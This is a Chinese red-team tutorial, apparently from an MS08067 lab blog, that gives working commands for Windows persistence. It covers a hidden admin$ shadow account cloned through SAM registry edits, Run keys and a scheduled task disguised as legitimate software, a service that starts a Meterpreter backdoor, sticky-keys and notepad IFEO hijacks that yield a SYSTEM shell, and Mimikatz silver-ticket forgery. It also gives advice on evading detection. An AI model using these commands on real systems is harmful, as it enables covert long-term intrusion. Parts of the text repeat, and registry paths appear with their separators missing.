作者:MS08067实验室 崔广亚
权限控制常见手段包括利用启动/登录流程(如注册表 Run 项、计划任务、服务)、保存或滞留凭证(如票据、缓存凭证)、以及更隐蔽的内核/引导层面方法(驱动、UEFI/引导植入等)。对防御方来说,权限控制带来的挑战在于其隐蔽性和多样性:许多持久化点看似合法(服务、任务、驱动),但被滥用后会成为长期后门。有效防护依赖于最小权限、强化凭证保护、集中化可观测(Sysmon/EDR/日志汇聚)与严格的出站流量控制。理解权限控制的常见模式对于检测、响应与彻底清除入侵至关重要。
1.影子用户创建影子账户主要包括四个步骤:
第一步,创建用户。
使用 net user命令创建以 $结尾的用户名(如 admin$)。这是因为在 Windows 系统中,用户名后添加“$”符号可使该用户在默认的net user命令查询用户列表和部分图形化管理界面中隐藏,但在控制面板中仍然是可见的。
具体命令如下,结果如图所示。
net user admin$ p@ssword!123 /add # 增加名为admin$的用户 |
添加用户
第二步,赋予该用户高权限。
比较常见的方法是将隐藏用户加入管理员用户组(如 administrators),从而使得该隐藏用户获得与管理员同等的高级别权限,能够执行系统关键操作。
net localgroup administrators admin$ /add ,用户名必须以$结尾。 |
添加用户至管理员组
第三步,查找并修改注册表条目。
账户添加后,虽然通过net user命令无法查找,但却能够在控制面板或注册表中查找,因此需要修改注册表以隐藏账户,在命令行窗口cmd输入命令regedit打开注册表编辑器,逐级导航到HKEY_LOCAL_MACHINESAMSAM项。想要使用SAM项下的相关条目通常需要管理员权限,在SAM项上点击右键,选择权限,进入对话框中勾选管理员组具有完全控制权限,如图所示。
授予管理员完全控制SAM文件的权限
接下来继续在SAM项下的HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers路径下,查找与admin$用户对应的SID(安全标识符)。这通常是一个以0x开头的长十六进制数,数值可能不同,本实验中admin$的SID值为0x3e8。用同样的方法,找到管理员账户(如Administrator)的SID值为0x1F4,分别导出注册表路径HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers下的admin$、000001F4、000003E8等3个注册表项,如图所示。
寻找相关注册表项
导出方法很简单,在对应的项上面点击右键,选择导出,分别导出为f4.reg、e8.reg、admin$.reg,如图所示。
导出注册表项
接下来,需要将f4.reg中选中的Hex区域替换到e8.reg里面的Hex区域,使得e8.reg对应的账户具有了administrator的权限和属性,如图所示。
替换用户权限和属性
完成上述操作后可以通过命令行删除原来新建的用户,如图所示。
删除用户
然后再将修改后的e8.reg和admin.reg重新导入注册表,如图所示。这回新增的admin$用户,既是对管理员用户进行完美克隆,又使得该用户在控制面板和net user命令中都不可见,隐蔽性也更强了。
导入注册表
影子用户能够用来做什么呢?最常用的攻击方法就是通过影子账号来进行远程登录。如下图所示,通过admin$影子用户远程登录后,通过whoami命令查询自己却还是administrator用户,但登录的确实是admin$,这就是克隆了administrator账号并进行隐藏的效果。
查看影子用户
2.开机启动项
通过开机启动项进行权限保留主要归属于滥用系统自启动机制这一权限保留方式。在 Windows 权限维持的战术体系中,开机启动项(Startup Items)是一种植入成本最低、有效性最高的持久化手段。其核心思想是利用操作系统为用户和应用提供的自动化启动机制,确保恶意载荷能在系统每次启动或用户登录时自动执行。
而注册表中的“Run”和“RunOnce”键是Windows操作系统中自启动功能的基石,它们的设计初衷是为了提升用户体验,方便应用程序在开机或用户登录时自动启动,然而这种便利性也使其成为攻击者维持持久化访问最直接、最稳定的入口之一。为清晰解析其技术细节,笔者根据权限的影响范围,将以下四个关键启动项划分为两类启动点:用户级和系统级。
用户级启动项,是最常见的低权限持久化方法,此类项位于HKEY_CURRENT_USER(HKCU)根键下,其执行权限与当前登录的用户账户权限一致,是实现低权限持久化的常见方式。一旦用户登录成功,系统的Explorer.exe进程就会被启动,并读取当前用户的HKCU根键下的Run和RunOnce等两个路径,两个路径下的所有REG_SZ或REG_EXPAND_SZ键值所指向的程序都会被执行。
用户级启动项的注册表路径如下所示。
# 用户每次登录,Explorer.exe进程执行一次指向的程序。 HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun # 程序通常只执行一次,执行后会被系统删除 HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce |
系统级启动项位于HKEY_LOCAL_MACHINE(HKLM)根键下,因为在系统启动流程的早期阶段被加载,所以启动的程序通常具有高完整性级别,且对所有登录用户都生效。系统级启动项运行的程序会对系统安全构成更大威胁,也是Windows操作系统安全监控的重点。
系统级启动项的注册表路径如下所示。
#系统启动早期,由Service Control Manager或Winlogon等高级权限进程读取 HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun # 程序通常只执行一次,执行后会被系统删除。 HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnce |
接下来演示一下,红队如何通过开机启动项来实现持久化的维持访问。假设我们需要在目标计算机开机时自动运行系统自带的计算器程序Calc.exe(实战中这个程序往往是红队开发的后门,一旦运行,就能帮助红队远程控制目标计算机,并进行文件传输、屏幕截取等操作)。根据本节所学习的内容,为了能够让Calcu.exe自启动,需要运行如下命令将其放入HKCU和HKLM路径下的Run键。执行命令后,系统每次重启或开机后,会自动运行Calc.exe。
# 系统级持久化 (需要管理员权限) reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun" /v "Updater" /t REG_EXPAND_SZ /d "%APPDATA%MicrosoftUpdatercalc.exe" /f # 用户级持久化 reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionRun" /v "OneDriveSync" /t REG_EXPAND_SZ /d "%APPDATA%MicrosoftOneDrivecalc.exe" /f # 命令详细解释如下: # reg add : 添加注册表项 # /v "ValueName": 模仿合法软件的名称,如Updater.exe,避免太容易被发现 # /t REG_EXPAND_SZ : 允许在路径中使用环境变量 # /d "Data" :需要自启动的程序路径,多为木马程序 # %APPDATA% : 环境变量,一般指的是C:Users<用户名>AppData目录 # /f : 静默覆盖已存在的键值,适用于自动化脚本 |
重启计算机后,calc.exe程序成功自启动,如图所示。
开机后自动启动calc.exe
开机启动项作为最古老的后门自启动技术,它的痕迹也最为明显,网络管理员们往往会紧盯注册表HKLM和HKCU路径下的任何非系统行为,因此红队想要实现通过该方法实现权限保留,必须在后门的免杀和启动软件的名称等方面下更多的功夫。
3.计划任务
通过计划任务实现权限保留也归属于滥用系统自启动机制这一权限保留方式。在红队权限维持技术体系中,计划任务(Scheduled Tasks)因其高隐蔽性、高可靠性和灵活的触发机制,成为一种备受青睐的持久化手段。那么什么是计划任务呢?我们可以将其理解为计算机里的一个智能闹钟或管家,可以按照预先设定的时间或条件,自动执行特定的操作,比如自动运行程序、定期执行脚本、定时发送提醒等。
Windows计划任务通过Windows操作系统原生的任务计划程序(Task Scheduler)实现,能够将帮助红队将后门程序在系统启动、用户登录、特定时间点或系统空闲时自动执行,并深度融入正常的系统调度流程,从而难以被常规排查发现。与部分需要管理员(Administrator)权限才能使用的权限保留技术不同,计划任务对权限的要求具有弹性特征,以普通用户权限也能实现持久化的权限保留。只有创建在系统(SYSTEM)权限下运行或对所有用户生效的计划任务,才需要管理员权限。
目前,Windows操作系统主要通过命令行工具 schtasks.exe的 /create子命令来创建计划任务,其基本语法结构为schtasks /create,后接一系列的参数以实现灵活定制,具体如下所示。
schtasks /create /? # 常用选项 /tn: 指定任务名称,例如 "DailyTask"。 /tr: 指定要运行的程序路径,例如 C:appsMyApp.exe。 /sc: 指定调度类型,如 daily(每日)、weekly(每周)、once(一次性)。 /st: 指定任务开始时间,格式为 HH:mm(24 小时制)。 |
接下来演示一下,红队如何通过计划任务来实现持久化的维持访问。假设我们需要在目标计算机开机时自动运行一个伪装成系统程序的可执行文件,其命令如下。
SCHTASKS /create /SC ONSTART /TN "MicrosoftWindowsTimeSynchronization" /TR "%APPDATA%MicrosoftSyncCentersvchost.exe" /F/SC ONSTART # 参数说明: # /SC ONSTART:指定系统启动时运行计划任务。 #/TN:任务名称。此处为 MicrosoftWindowsTimeSynchronization。红队将恶意任务放置在看似合法的系统任务路径下,企图在任务计划程序列表中被误认为是正常的“时间同步”相关任务。 # /TR:任务运行的程序路径。此处指向当前用户AppData目录下名为svchost.exe的文件,一个位于用户临时文件夹(%APPDATA%`)且与关键系统进程同名的文件,是常见的恶意软件伪装,旨在混淆视听。 # /F: 强制创建。此参数会静默覆盖原有任务而不给出任何警告提示。 |
结果如下图所示。
创建计划任务
4.服务
基于Windows服务的权限保留攻击同样属于滥用系统自启动机制这一权限保留方式。在网络安全领域,尤其是在红队渗透测试的后渗透阶段,权限维持是确保在目标计算机上建立稳定、长期访问通道的关键技术。利用Windows系统服务实现权限维持,是一种非常有效且隐蔽的方法,因为服务通常具备高权限、高稳定性和自启动特性。当然,因为该操作通常需修改系统核心配置,所以前提是已获取目标计算机的管理员权限,若不满足这一条件,首先要做的应该是提权。
最为直接的操作步骤是通过系统自带的sc(Service Controller)工具创建一个完全受红队控制的新服务,主要就是通过“sc create”命令,具体如下:
sc create calculator binpath= "cmd.exe /k C:windowssystem32muma.exe" start="auto" obj="NT AUTHORITYLocalService" # 参数说明: #sc create : 创建一个名为calculator的Windows服务。 # /binpath : 服务的二进制路径,红队应将该路径指向后门程序,此处为Meterpreter生成的后门程序 # start=="auto" : 将start类型设置为auto(自动),确保系统启动时该服务能随之运行。 # obj="NT AUTHORITYNetworkService":指定服务运行的用户账户, NetworkService适用于需要联网的服务,而且权限相较SYSTEM要低,因此更加隐蔽。 |
创建服务后,因为start类型设置为auto,所以下次系统启动时会自动运行后门程序,如果需要立即运行后门,应使用net start ServiceName命令立即启动服务。
net start calculator # 立即启动名为calculator的服务。 |
如下图所示,服务启动后木马被执行,Meterpreter收到后门回联信息。
通过服务启动木马
5.辅助功能程序劫持
辅助功能程序劫持主要归属劫持信任流程这一权限保留方式。在 Windows 操作系统中,为了帮助残障用户,系统提供了一套辅助功能(Accessibility)程序,包括屏幕阅读器、放大镜、替代输入设备等。这些辅助功能程序通常拥有较高的权限,从而能够快速访问系统资源。本节所介绍的辅助功能程序劫持指的是红队利用系统在启动辅助功能程序时的加载逻辑漏洞,将原本受信任的辅助功能程序替换成恶意后门,从而实现权限保留的攻击方法。该攻击方法之所以有效,主要因为操作系统的两个关于启动辅助功能程序的机制:首先,系统允许在登录界面(无需认证)通过特定快捷键(如连续按5次Shift键启动粘滞键)调用辅助工具;其次,为确保这些工具能稳定工作,系统会以高权限(如SYSTEM)启动它们。攻击者正是利用了这种“在认证前触发高权限进程”的机制实现了辅助功能程序支持。
下表列出了常见的可被红队利用的辅助功能程序及其触发方法。
功能程序 | 对应可执行文件 | 默认快捷键 | 功能说明 |
粘滞键 | sethc.exe | 按 Shift 键 5 次 | 允许依次按下修改键(如Shift, Ctrl) |
轻松访问中心 | utilman.exe | Windows + U | 打开轻松访问设置中心 |
屏幕键盘 | osk.exe | 无默认登录界面快捷键 | 显示虚拟屏幕键盘。 |
放大镜 | Magnify.exe | Windows + + | 放大屏幕部分区域 |
讲述人 | Narrator.exe | Ctrl + Win + Enter | 屏幕阅读器,朗读文本 |
显示切换 | DisplaySwitch.exe | Windows + P | 切换显示模式 |
在Windows XP/2003等旧版本操作系统中,红队可以通过直接文件替换实现辅助功能程序劫持,例如直接C:WindowsSystem32目录下的原始辅助功能程序替换为后门程序(如将sethc.exe替换为cmd.exe)。但在Windows Vista及之后的系统版本中,微软引入了更严格的文件保护机制,对重要的系统文件进行了锁定和数字签名验证。尝试覆盖像sethc.exe这样的辅助功能程序通常会因权限不足或文件正在使用而失败,即使强行替换也会导致系统文件校验错误。在这样的背景下,想要在Windows Vista及之后的系统实现辅助功能程序劫持,推荐使用映像劫持的操作方法。
下面以映像劫持粘滞键为例,介绍一下如何在现代Windows操作系统中实现辅助功能程序劫持攻击,主要分为3步。
第一步,获取权限。因为映像劫持攻击主要通过注册表实现,因此需要系统管理员权限,如果不具备,应先进行提权。关于提权的相关攻击方法,前文已经介绍过,此处不再赘述。
第二步,修改注册表。通过使用以下命令修改注册表,创建映像劫持,从而将连接按5次Shift键触发的行为重定向到cmd.exe。
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /v Debugger /t REG_SZ /d "C:WindowsSystem32cmd.exe" /f # reg add:用于在Windows注册表中添加或修改键值的命令 # "HKEY_LOCAL_MACHINE...sethc.exe" :操作路径,指定了要修改的注册表项的完整路径,此路径是Windows的“映像劫持”配置项,专门用于定义特定可执行文件的特殊行为 # /v Debugger:值名称,指定要创建或修改的键值名为Debugger,其作用是设置一个“调试器” # /t REG_SZ: 指定键值的数据类型为 REG_SZ,即一个普通的字符串 # /d "C:WindowsSystem32cmd.exe":指定要执行的程序路径,此处为命令行程序cmd.exe # /f : 强制覆盖,执行操作时不提示确认 |
第三步,触发后门。退出到系统登录界面或锁定屏幕,连续按Shift键五次。此时系统将打开一个以SYSTEM权限运行的命令提示符窗口。更重要的是,该后门通常在系统重启后劫持效果依然存在,且隐蔽性强,从而有效实现权限保留。
如下图所示,在Windows登录界面上,连续快速地按下 Shift键五次。此时,屏幕上将不仅仅出现粘滞键的启用提示,而且还出现了一个由SYSTEM权限运行的命令行窗口。
粘滞键劫持
6.映像劫持
映像劫持同样归属劫持信任流程这一权限保留方式。在 Windows 操作系统中,为了帮助残障用户,系统提供了一套辅助功能(Accessibility)程序,包括屏幕阅读器、放大镜、替代输入设备等。这些辅助功能程序通常拥有较高的权限,从而能够快速访问系统资源。本节所介绍的辅助功能程序劫持指的是红队利用系统在启动辅助功能程序时的加载逻辑漏洞,将原本受信任的辅助功能程序替换成恶意后门,从而实现权限保留的攻击方法。该攻击方法之所以有效,主要因为操作系统的两个关于启动辅助功能程序的机制:首先,系统允许在登录界面(无需认证)通过特定快捷键(如连续按5次Shift键启动粘滞键)调用辅助工具;其次,为确保这些工具能稳定工作,系统会以高权限(如SYSTEM)启动它们。攻击者正是利用了这种“在认证前触发高权限进程”的机制实现了辅助功能程序支持。
映像劫持同样归属劫持信任流程这一权限保留方式,它是一种隐蔽、有针对性的权限保留战术,通过对IFEO机制(Image File Execution Options,映像文件执行选项)的劫持,从而篡改操作系统对特定程序执行方式,最终实现基于系统进程的权限保留。
IFEO机制最早是为了帮助软件开发者和质量保证团队在特定条件下调试或干预应用程序的启动流程,其执行机制很简单,就是当用户或操作系统调用一个可执行文件时,操作系统的CreateProcess API调用栈中会对如下注册表路径进行检查(注意,修改该注册表项需要系统管理员权限)。
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution OptionsIFEO |
此处假设红队已拥有了目标计算机的系统管理员权限(例如本地管理员administrator),并且希望当目标计算机的登录用户启动notepad.exe时,能够自动触发后门程序(假设后门程序为cmd.exe),其主要操作分为两步:
第一步,在上述注册表项中建立一个子项,将其命名为想要劫持的目标程序,此处指定为notepad.exe(注意:不用设置路径,这样目标计算机操作系统里所有名为notepad.exe的可执行文件都会被劫持)。
也可以直接在命令行程序中运行如下命令添加注册表项(请以管理员权限运行命令行程序)。
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" /f |
第二步,为notepad.exe子项添加一个字符串值,名字为Debugger,其值就是需要执行的后门程序,比如 cmd.exe(应使用程序的完整路径),如图所示。
添加待执行程序
也可以直接在命令行程序中运行如下命令实现操作(请以管理员权限运行命令行程序)。
reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" /v Debugger /d "cmd.exe" |
完成上述操作后,当目标计算机的任何用户(包括普通用户)尝试启动 notepad.exe时,操作系统都将自动执行cmd.exe,原始的notepad.exe将被作为cmd.exe的子进程启动,或者在cmd.exe崩溃时才会被执行。
7.白银票据攻击
要理解理解白银票据的原理,首先需要回顾Kerberos认证的正常流程。当用户需要访问域内服务时,首先向域控制器(DC)的票据授予服务(TGS)出示有效的票据授予票据(TGT),以申请该服务的服务票据(ST),票据授予服务再使用目标服务账户的口令Hash值加密生成的服务票据,并最终由服务主机使用自己的用户口令Hash值解密验证。而白银票据攻击则完全绕过了票据授予服务步骤。攻击者无需与域控制器进行任何交互,直接在本地伪造出所需的服务票据。两者流程如下所示:
正常流程:用户 -> KDC(请求ST) -> KDC(颁发ST) -> 服务主机(访问) 白银票据流程:攻击者 -> 本地伪造ST -> 服务主机(访问) |
正是由于伪造的ST是用正确的服务账户哈希加密的,因此目标服务主机会认为红队伪造的白银票据是一张合法票据,从而授予访问权限。也正是因为整个过程在域控制器上不会留下任何请求日志,因此白银票据相比黄金票据更加隐蔽。
红队要伪造一张白银票据,需要以下三个要素:
一是域名。输入ipconfig /all命令查看域名,如下图所示,域名为:hacke.testlab。
查看域名
二是域SID。在命令行中输入whoami /all命令得到用户SID值,将用户SID值去掉最后的成员SID值,就得到了域SID值,如下图所示,域SID值为:S-1-5-21-1992465648-123540259-4224839528。
查看域SID值
三是目标服务用户的口令Hash值。例如,要攻击文件服务器,就需要获取其CIFS服务对应的用户口令Hash值。如下图所示,在目标计算机以本地管理员权限运行Mimikatz,获取到服务器相关用户的口令Hash值,如下图所示。
获取用户口令Hash值
获取到以上要素后,接下来就可以通过使用Mimikatz来伪造白银票据,并注入到当前内存会话中。所使用的命令如下,结果如图所示。
mimikatz # kerberos::purge// 清空当前会话中的票据,避免干扰 mimikatz # kerberos::golden// 使用golden命令,同样可用于伪造白银票据 /domain:hacke.testlab//域名 /sid:S-1-5-21-1992465648-123540259-4224839528//域SID /target:pc02.hacke.testlab//目标计算机名 /service:cifs//目标服务类型 /rc4:25060b38ea0f8c52a07cab7eab6a8127//用户口令Hash值 /user:pc02//可以伪造任意用户名 /ptt//注入到当前会话 |
伪造白银票据
注入白银票据以后,就可以始终具有远程访问目标计算机器共享目录的权限了,也就是说,基于白银票据的权限保留攻击成功。
查看远程计算机目录
— 实验室旗下直播培训课程 —
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……




还没有评论,来说两句吧...